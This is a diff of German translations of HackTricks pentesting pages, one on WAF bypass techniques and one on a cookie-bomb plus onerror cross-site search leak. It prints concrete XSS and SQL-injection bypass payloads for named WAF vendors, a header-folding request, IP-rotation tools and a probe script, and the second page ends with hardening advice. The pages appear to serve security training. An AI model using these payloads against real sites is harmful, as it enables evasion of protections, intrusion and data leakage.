+[Diese Untersuchung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "malformed" Header gesendet wurde, der von AWS nicht korrekt geparst wurde, wohl aber vom Backend-Server.
 
-Zum Beispiel, indem die folgende Anfrage mit einer SQL-Injection im Header X-Query gesendet wird:
+Zum Beispiel, wenn man die folgende Anfrage mit einer SQL-Injection im Header X-Query sendet:
 ```http
 GET / HTTP/1.1\r\n
 Host: target.com\r\n
@@ -96,51 +96,52 @@ X-Query: Value\r\n
 Connection: close\r\n
 \r\n
 ```
-Es war möglich, AWS WAF zu umgehen, da es nicht verstand, dass die nächste Zeile Teil des Wertes des Headers ist, während der NODEJS-Server dies tat (dies wurde behoben).
+Es war möglich, AWS WAF zu umgehen, weil es nicht erkannte, dass die nächste Zeile Teil des Header-Werts ist, während der NODEJS-Server das tat (dies wurde behoben).
 
 ## Generische WAF-Umgehungen
 
-### Anforderungsgrößenbeschränkungen
+### Limits für Request-Größe
 
-Üblicherweise haben WAFs eine bestimmte Längenbeschränkung für Anfragen, die überprüft werden, und wenn eine POST/PUT/PATCH-Anfrage darüber hinausgeht, wird die WAF die Anfrage nicht überprüfen.
+WAFs haben üblicherweise eine maximale Länge von Requests, die sie prüfen können. Überschreitet eine POST/PUT/PATCH-Anfrage diese, wird die Anfrage vom WAF nicht geprüft.
 
-- Für AWS WAF können Sie [**die Dokumentation überprüfen**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
+- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 
-<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, der für Application Load Balancer und AWS AppSync-Schutz überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, der für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutz überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe des Request-Bodys, die für Application Load Balancer und AWS AppSync protections inspiziert werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe des Request-Bodys, die für CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections** inspiziert werden kann</td><td>64 KB</td></tr></tbody></table>
 
-- Aus [**Azure-Dokumenten**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
-Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe erreicht werden, indem die maximale Anfragekörpergrenze deaktiviert wird. Wenn eine Anfrage die Größenbeschränkung überschreitet:
+Ältere Web Application Firewalls mit Core Rule Set 3.1 (oder älter) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Request-Bodys deaktiviert wird, diese Nachrichten werden dann jedoch nicht auf Schwachstellen geprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) lässt sich dasselbe erreichen, indem das maximale Request-Body-Limit deaktiviert wird. Wenn eine Anfrage das Größenlimit überschreitet:
 
-Wenn **Präventionsmodus**: Protokolliert und blockiert die Anfrage.\
-Wenn **Erkennungsmodus**: Überprüft bis zur Grenze, ignoriert den Rest und protokolliert, wenn die `Content-Length` die Grenze überschreitet.
+Wenn **prevention mode**: Protokolliert und blockiert die Anfrage.\
+Wenn **detection mode**: Inspiziert bis zum Limit, ignoriert den Rest und protokolliert, wenn der `Content-Length` das Limit überschreitet.
 
-- Aus [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
+- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 
-Standardmäßig überprüft die WAF nur die ersten 8 KB einer Anfrage. Sie kann das Limit auf bis zu 128 KB erhöhen, indem sie erweiterte Metadaten hinzufügt.
+Standardmäßig inspiziert der WAF nur die ersten 8KB einer Anfrage. Das Limit kann auf bis zu 128KB erhöht werden, indem Advanced Metadata hinzugefügt wird.
 
-- Aus [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
+- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 
-Bis zu 128 KB.
+Bis zu 128KB.
 
-### Inspektionslücken bei statischen Assets (.js GETs)
+### Static assets inspection gaps (.js GETs)
 
-Einige CDN/WAF-Stacks wenden schwache oder keine Inhaltsinspektion auf GET-Anfragen für statische Assets (zum Beispiel Pfade, die mit `.js` enden) an, während sie weiterhin globale Regeln wie Ratenbegrenzung und IP-Reputation anwenden. In Kombination mit dem automatischen Caching statischer Erweiterungen kann dies ausgenutzt werden, um bösartige Varianten zu liefern oder zu streuen, die nachfolgende HTML-Antworten beeinflussen.
+Einige CDN/WAF-Stacks wenden bei GET-Requests für statische Assets (z. B. Pfade, die mit `.js` enden) nur schwache oder gar keine Inhaltsinspektion an, während globale Regeln wie Rate-Limiting und IP-Reputation weiterhin gelten. In Kombination mit Auto-Caching statischer Extensions lässt sich dies missbrauchen, um bösartige Varianten auszuliefern oder zu platzieren, die nachfolgende HTML-Antworten beeinflussen.
 
 Praktische Anwendungsfälle:
 
-- Senden Sie Payloads in nicht vertrauenswürdigen Headers (z. B. `User-Agent`) bei einem GET zu einem `.js`-Pfad, um die Inhaltsinspektion zu vermeiden, und fordern Sie dann sofort das Haupt-HTML an, um die zwischengespeicherte Variante zu beeinflussen.
-- Verwenden Sie eine frische/reine IP; sobald eine IP markiert ist, können Routingänderungen die Technik unzuverlässig machen.
-- Verwenden Sie in Burp Repeater "Gruppe parallel senden" (Single-Packet-Stil), um die beiden Anfragen (`.js` dann HTML) durch denselben Front-End-Pfad zu beschleunigen.
+- Sende Payloads in nicht vertrauenswürdigen Headern (z. B. `User-Agent`) mit einem GET auf einen `.js`-Pfad, um die Inhaltsinspektion zu umgehen, und fordere dann sofort das Haupt-HTML an, um die gecachte Variante zu beeinflussen.
+- Verwende eine frische/saubere IP; sobald eine IP markiert ist, können Routing-Änderungen die Technik unzuverlässig machen.
+- In Burp Repeater, verwende "Send group in parallel" (single-packet style), um die beiden Requests (`.js` dann HTML) in einem Rennen durch denselben Front-End-Pfad zu schicken.
 
-Dies passt gut zu Header-Reflexions-Cache-Vergiftungen. Siehe:
+This pairs well with header-reflection cache poisoning. See:
 
-- {{#ref}}
+{{#ref}}
 cache-deception/README.md
 {{#endref}}
-- [Wie ich eine 0-Click-Kontoübernahme in einem öffentlichen BBP fand und sie nutzte, um auf Admin-Level-Funktionen zuzugreifen](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 
-### Obfuskation <a href="#ip-rotation" id="ip-rotation"></a>
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@@ -150,7 +151,7 @@ cache-deception/README.md
 ```
 ### Unicode-Kompatibilität <a href="#unicode-compatability" id="unicode-compatability"></a>
 
-Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).
+Je nach Implementierung der Unicode-Normalisierung (mehr Infos [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-kompatibel sind, den WAF umgehen und als beabsichtigte payload ausgeführt werden. Kompatible Zeichen finden Sie [here](https://www.compart.com/en/unicode).
 
 #### Beispiel <a href="#example" id="example"></a>
 ```bash
@@ -158,44 +159,45 @@ Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](ht
 # to the XSS payload on the right
 ＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 ```
-### Umgehung kontextueller WAFs mit Kodierungen <a href="#ip-rotation" id="ip-rotation"></a>
+### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
 
-Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, können wir, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, die WAF-Techniken ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.
+Wie in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, können wir, um WAFs zu umgehen, die den Kontext der Benutzereingabe beibehalten, die WAF-Mechanismen ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.
 
-Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-dekodiert hat**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` angesehen, was **als in Ordnung angesehen werden könnte, da das Tag geschlossen ist**. Solange die Anwendung jedoch die Eingabe nicht 10 Mal URL-dekodiert, wird das Opfer etwas wie `<input/%25252525252525253e/onfocus` sehen, was **immer noch gültig für einen XSS-Angriff ist**.
+Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-decodet**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` gesehen, was **als in Ordnung angesehen werden könnte, da das Tag geschlossen ist**. Wenn die Anwendung jedoch die Eingabe nicht 10 Mal URL-decodet, sieht das Opfer etwas wie `<input/%25252525252525253e/onfocus`, was **immer noch für einen XSS-Angriff gültig ist**.
 
-Daher ermöglicht dies, **Payloads in kodierten Komponenten zu verstecken**, die die WAF dekodiert und interpretiert, während das Opfer dies nicht tut.
+Daher lässt sich damit **Payloads in kodierten Komponenten verbergen**, die der WAF decodiert und interpretiert, während das Opfer sie nicht sieht.
 
-Darüber hinaus kann dies nicht nur mit URL-kodierten Payloads, sondern auch mit anderen Kodierungen wie Unicode, Hex, Oktal... durchgeführt werden.
+Außerdem kann das nicht nur mit URL-kodierten Payloads gemacht werden, sondern auch mit anderen Encodings wie unicode, hex, octal...
 
-Im Beitrag werden die folgenden endgültigen Umgehungen vorgeschlagen:
+Im Beitrag werden folgende finale Bypässe vorgeschlagen:
 
 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-Es wird auch erwähnt, dass es je nach **wie einige WAFs den Kontext** der Benutzereingabe verstehen, möglich sein könnte, dies auszunutzen. Das vorgeschlagene Beispiel im Blog ist, dass Akamai erlaubte, alles zwischen `/*` und `*/` zu setzen (möglicherweise, weil dies häufig als Kommentare verwendet wird). Daher wird eine SQL-Injection wie `/*'or sleep(5)-- -*/` nicht erfasst und ist gültig, da `/*` der Startstring der Injection ist und `*/` kommentiert ist.
+Es wird außerdem erwähnt, dass es je nach **Art und Weise, wie einige WAFs den Kontext** der Benutzereingabe verstehen, möglich sein kann, dies auszunutzen. Das im Blog vorgeschlagene Beispiel ist, dass Akamai erlaubte (oder erlaubte), beliebige Zeichen zwischen `/*` und `*/` zu platzieren (möglicherweise weil dies häufig als Kommentar verwendet wird). Daher würde eine SQLinjection wie `/*'or sleep(5)-- -*/` nicht erkannt werden und gültig sein, da `/*` der Beginn der Injection ist und `*/` kommentiert ist.
 
-Diese Art von Kontextproblemen kann auch verwendet werden, um **andere Schwachstellen als die erwartete** auszunutzen, die von der WAF ausgenutzt werden sollen (z. B. könnte dies auch verwendet werden, um einen XSS-Angriff auszunutzen).
+Solche Kontextprobleme können auch genutzt werden, um **andere Schwachstellen auszunutzen als diejenige, die vom WAF erwartet** wird (z. B. könnte dies auch verwendet werden, um XSS auszunutzen).
 
 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 
+
 {{#ref}}
 h2c-smuggling.md
 {{#endref}}
 
-### IP-Rotation <a href="#ip-rotation" id="ip-rotation"></a>
+### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 
-- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generieren Sie eine API-Gateway-URL zur Verwendung mit ffuf
+- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generiert eine API gateway URL, die mit ffuf verwendet werden kann
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Ähnlich wie fireprox
-- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-Plugin, das API-Gateway-IPs verwendet
-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Containerinstanzen wird basierend auf der Dateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Teile für die parallele Ausführung aufgeteilt wird, z. B. 100 Instanzen, die 100 Teile aus einer 10.000-Zeilen-Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite Plugin, das API gateway IPs nutzt
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Container-Instanzen wird basierend auf der Eingabedateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Chunks für parallele Ausführung aufgeteilt wird — z. B. 100 Instanzen, die 100 Chunks einer 10.000-zeiligen Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
-### Regex-Umgehungen
+### Regex Bypasses
 
-Verschiedene Techniken können verwendet werden, um die Regex-Filter an den Firewalls zu umgehen. Beispiele sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Verschiedene Techniken können verwendet werden, um die Regex-Filter von Firewalls zu umgehen. Beispiele sind abwechselnde Groß-/Kleinschreibung, Einfügen von Zeilenumbrüchen und Kodieren von Payloads. Ressourcen für die verschiedenen Bypässe finden sich bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die untenstehenden Beispiele wurden aus [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) entnommen.
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@@ -216,11 +218,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 ```
-## Tools
+## Werkzeuge
 
-- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-Plugin, um Junk-Daten zu Anfragen hinzuzufügen, um WAFs durch Länge zu umgehen
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-Plugin, um Anfragen mit Junk-Daten zu füllen, um WAFs anhand der Länge zu umgehen
 
-## References
+## Referenzen
 
 - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)

src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

@@ -2,7 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Das folgende **Script**, das von [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) stammt, nutzt eine Funktionalität aus, die es dem Benutzer ermöglicht, **beliebig viele Cookies** einzufügen, und lädt dann eine Datei als Script, wobei bekannt ist, dass die echte Antwort größer sein wird als die falsche. Wenn erfolgreich, ist die Antwort eine Weiterleitung mit einer resultierenden URL, die länger ist, **zu groß, um vom Server verarbeitet zu werden, sodass ein Fehler-HTTP-Statuscode zurückgegeben wird**. Wenn die Suche fehlschlägt, passiert nichts, da die URL kurz ist.
+Diese Technik kombiniert:
+- Cookie bombing: das Füllen des Browsers des Opfers mit vielen/großen Cookies für die Ziel-Origins, sodass nachfolgende Requests Server-/Anforderungsgrenzen erreichen (Größe der Request-Header, URL-Länge bei Redirects usw.).
+- Error-event oracle: Ausfragen eines Cross-Origin-Endpunkts mit einem <script> (oder anderem subresource) und Unterscheiden der Zustände mittels onload vs onerror.
+
+High level idea
+- Finde einen Ziel-Endpunkt, dessen Verhalten sich für zwei zu testende Zustände unterscheidet (z. B. Suche “hit” vs “miss”).
+- Stelle sicher, dass der “hit”-Pfad eine starke Redirect-Kette oder eine lange URL auslöst, während der “miss”-Pfad kurz bleibt. Blähe Request-Header mit vielen Cookies auf, sodass nur der “hit”-Pfad dazu führt, dass der Server mit einem HTTP-Fehler (z. B. 431/414/400) fehlschlägt. Der Fehler kippt das onerror-Event und wird so zu einer Oracle für XS-Search.
+
+Wann funktioniert das
+- Du kannst den Browser des Opfers dazu bringen, Cookies an das Ziel zu senden (z. B. sind die Cookies SameSite=None oder du kannst sie in einem First-Party-Kontext via window.open setzen).
+- Es gibt eine App-Funktion, die du missbrauchen kannst, um beliebige Cookies zu setzen (z. B. “save preference”-Endpunkte, die kontrollierte Eingaben in Set-Cookie verwandeln) oder um Post-Auth-Redirects zu erzeugen, die vom Angreifer kontrollierte Daten in die URL einbauen.
+- Der Server reagiert in den beiden Zuständen unterschiedlich und bei aufgeblähten Headern/URL überschreitet ein Zustand ein Limit und liefert eine Fehlerantwort, die onerror auslöst.
+
+Note on server errors used as the oracle
+- 431 Request Header Fields Too Large wird häufig zurückgegeben, wenn Cookies Request-Header aufblähen; 414 URI Too Long oder ein server-spezifisches 400 können für lange Request-Ziele zurückgegeben werden. Alle diese führen zu einem fehlgeschlagenen subresource-Load und lösen onerror aus. [MDN documents 431 and typical causes like excessive cookies.]()
+
+Practical example (angstromCTF 2022)
+Das folgende Script (aus einem öffentlichen Writeup) missbraucht eine Funktion, die es dem Angreifer erlaubt, beliebige Cookies einzufügen, und lädt dann einen cross-origin search-endpunkt als Script. Wenn die Query korrekt ist, führt der Server einen Redirect aus, der zusammen mit der Cookie-Aufblähung die Serverlimits überschreitet und einen Fehlerstatus zurückgibt, sodass script.onerror ausgelöst wird; andernfalls passiert nichts.
 ```html
 <>'";
 <form action="https://sustenance.web.actf.co/s" method="POST">
@@ -57,4 +74,53 @@ break
 }
 </script>
 ```
+Warum das Popup (window.open)?
+- Moderne Browser blockieren zunehmend Drittanbieter-Cookies. Das Öffnen eines Top-Level-Fensters zum Ziel macht Cookies zu First‑Party, sodass Set-Cookie-Antworten vom Ziel haften bleiben und der cookie-bomb Schritt selbst bei Einschränkungen für Drittanbieter-Cookies möglich wird.
+
+Generic probing helper
+Wenn Sie bereits eine Möglichkeit haben, viele Cookies auf der Ziel-Origin (Erstanbieter) zu setzen, können Sie dieses minimale Oracle gegen jeden Endpoint wiederverwenden, dessen Erfolg/Fehlschlag zu unterschiedlichen Netzwerk-Ergebnissen (Status/MIME/Redirect) führt:
+```js
+function probeError(url) {
+return new Promise((resolve) => {
+const s = document.createElement('script');
+s.src = url;
+s.onload = () => resolve(false);  // loaded successfully
+s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
+document.head.appendChild(s);
+});
+}
+```
+Tipps zum Aufbau des Orakels
+- Zwinge den „positiven“ Zustand schwerer: hänge eine zusätzliche Weiterleitung nur dann an, wenn das Prädikat wahr ist, oder lasse die Redirect-URL ungebundene Benutzereingaben widerspiegeln, sodass sie mit dem geratenen Präfix wächst.
+- Header aufblasen: wiederhole cookie bombing, bis auf dem „schweren“ Pfad ein konsistenter Fehler beobachtet wird. Server begrenzen üblicherweise die Header-Größe und schlagen früher fehl, wenn viele Cookies vorhanden sind.
+- Stabilisieren: führe mehrere parallele Set-Cookie-Operationen aus und probe wiederholt, um Timing- und Caching-Rauschen zu mitteln.
+
+Verwandte XS-Search-Tricks
+- URL-längenbasierte Orakel (keine Cookies nötig) können kombiniert oder stattdessen verwendet werden, wenn du ein sehr langes Anfrageziel erzwingen kannst:
+
+{{#ref}}
+url-max-length-client-side.md
+{{#endref}}
+
+Abwehrmaßnahmen und Härtung
+- Mache Erfolgs-/Fehler-Antworten nicht unterscheidbar:
+- Vermeide bedingte Weiterleitungen oder große Unterschiede in der Antwortgröße zwischen Zuständen. Gib denselben Status, denselben Content-Type und eine ähnliche Body-Länge unabhängig vom Zustand zurück.
+- Blockiere cross-site Subresource-Probes:
+- SameSite-Cookies: Setze sensitive Cookies auf SameSite=Lax oder Strict, damit Subresource-Anfragen wie <script src> diese nicht mitsenden; bevorzuge Strict für Auth-Tokens, wenn möglich.
+- Fetch Metadata: Erzwinge eine Resource Isolation Policy, um cross-site Subresource-Loads abzulehnen (z. B. wenn Sec-Fetch-Site != same-origin/same-site).
+- Cross-Origin-Resource-Policy (CORP): Setze CORP: same-origin (oder mindestens same-site) für Endpunkte, die nicht als cross-origin Subresources eingebettet werden sollen.
+- X-Content-Type-Options: nosniff und korrekter Content-Type für JSON/HTML-Endpunkte, um Load-as-script-Quirks zu vermeiden.
+- Reduziere Header-/URL-Amplifikation:
+- Begrenze Anzahl/Größe gesetzter Cookies; saniere Features, die beliebige Formularfelder in Set-Cookie verwandeln.
+- Normalisiere oder kürze reflektierte Daten in Redirects; vermeide das Einbetten angreiferkontrollierter langer Strings in Location-URLs.
+- Halte Server-Limits konsistent und lasse sie einheitlich fehlschlagen (vermeide spezielle Fehlerseiten nur für einen Zweig).
+
+Hinweise
+- Diese Angriffsklasse wird allgemein als „Error Events“ XS-Leaks diskutiert. Der cookie-bomb-Schritt ist nur ein praktischer Weg, um nur einen Zweig über Server-Limits zu drücken und so ein zuverlässiges boolesches Orakel zu erzeugen.
+
+
+
+## Referenzen
+- XS-Leaks: Error Events (onerror/onload als Orakel): https://xsleaks.dev/docs/attacks/error-events/
+- MDN: 431 Request Header Fields Too Large (häufig bei vielen Cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
 {{#include ../../banners/hacktricks-training.md}}